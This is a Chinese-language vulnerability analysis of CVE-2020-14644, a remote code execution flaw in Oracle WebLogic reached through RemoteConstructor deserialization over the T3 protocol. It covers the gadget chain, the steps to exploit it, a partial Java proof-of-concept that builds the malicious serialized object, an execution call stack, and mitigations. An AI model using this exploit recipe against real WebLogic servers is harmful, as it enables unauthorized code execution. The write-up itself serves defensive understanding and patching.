CVE-2020-14644 weblogic RemoteConstructor RCE via T3 protocol
字数 1296 2025-08-26 22:12:02
WebLogic CVE-2020-14644 RemoteConstructor RCE via T3协议漏洞分析与利用
漏洞概述
CVE-2020-14644是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意序列化数据,利用RemoteConstructor类的反序列化过程实现任意代码执行。该漏洞影响WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0版本。
漏洞原理
该漏洞的核心在于RemoteConstructor类的反序列化过程中会调用defineClass方法加载任意类并执行其静态代码块。具体流程如下:
- 反序列化过程中会调用
RemoteConstructor的readResolve方法 readResolve方法调用newInstance方法newInstance方法调用RemotableSupport的realize方法realize方法最终调用defineClass加载并实例化攻击者提供的恶意类
关键类分析
RemoteConstructor类
- 实现了
ExternalizableLite接口(继承自Serializable) - 没有
readObject方法但有readResolve方法 - 包含两个关键属性:
m_definition:ClassDefinition对象,存储类定义信息m_loader:类加载器(被transient修饰)
ClassDefinition类
构造方法:
public ClassDefinition(ClassIdentity id, byte[] abClass) {
assert id != null;
assert abClass != null;
this.m_id = id;
this.m_abClass = abClass;
}
ClassIdentity类
用于标识远程类,关键属性:
m_sPackage:包名m_sBaseName:类名m_sVersion:类文件的MD5摘要(十六进制)
漏洞利用条件
- 恶意类必须实现
Remotable接口 - 恶意类的类名需要符合特定格式:
原类名$MD5摘要 - 需要通过T3或IIOP协议发送恶意序列化数据
漏洞利用步骤
- 创建恶意类(实现
Remotable接口) - 使用
ClassIdentity包装恶意类 - 修改恶意类名为
原类名$MD5摘要格式 - 创建
ClassDefinition对象 - 创建
RemoteConstructor对象并序列化 - 通过T3协议发送恶意序列化数据
POC代码关键部分
// 1. 创建ClassIdentity
ClassIdentity classIdentity = new ClassIdentity(EvilClass.class);
// 2. 使用javassist修改类名
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilClass.class.getName());
ctClass.replaceClassName(EvilClass.class.getName(),
EvilClass.class.getName() + "$" + classIdentity.getVersion());
// 3. 创建ClassDefinition
ClassDefinition classDef = new ClassDefinition(classIdentity, ctClass.toBytecode());
// 4. 创建RemoteConstructor
RemoteConstructor constructor = new RemoteConstructor(classDef, new Object[]{});
调用栈分析
exec:347, Runtime (java.lang)
<clinit>:9, EvilClass$MD5HASH (恶意类)
allocateInstance:-1, Unsafe (sun.misc)
allocateInstance:439, DirectMethodHandle (java.lang.invoke)
newInvokeSpecial__L:-1, MethodHandle (java.lang.invoke)
reinvoke:-1, MethodHandle (java.lang.invoke)
invoker:-1, MethodHandle (java.lang.invoke)
invokeExact_MT:-1, MethodHandle (java.lang.invoke)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1260, ObjectStreamClass (java.io)
readOrdinaryObject:2078, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
修复方案
- 安装Oracle官方补丁
- 将
RemoteConstructor类加入反序列化黑名单 - 限制T3协议数据包来源
- 禁用IIOP协议(如果不需要)
防护建议
- 及时更新WebLogic到最新版本
- 在网络边界限制T3协议(端口7001)的访问
- 启用WebLogic的反序列化过滤器
- 监控可疑的T3协议通信
总结
CVE-2020-14644通过利用RemoteConstructor类的反序列化过程绕过黑名单限制,实现了远程代码执行。该漏洞再次证明了反序列化漏洞的严重性,管理员应重视中间件的安全配置和及时更新。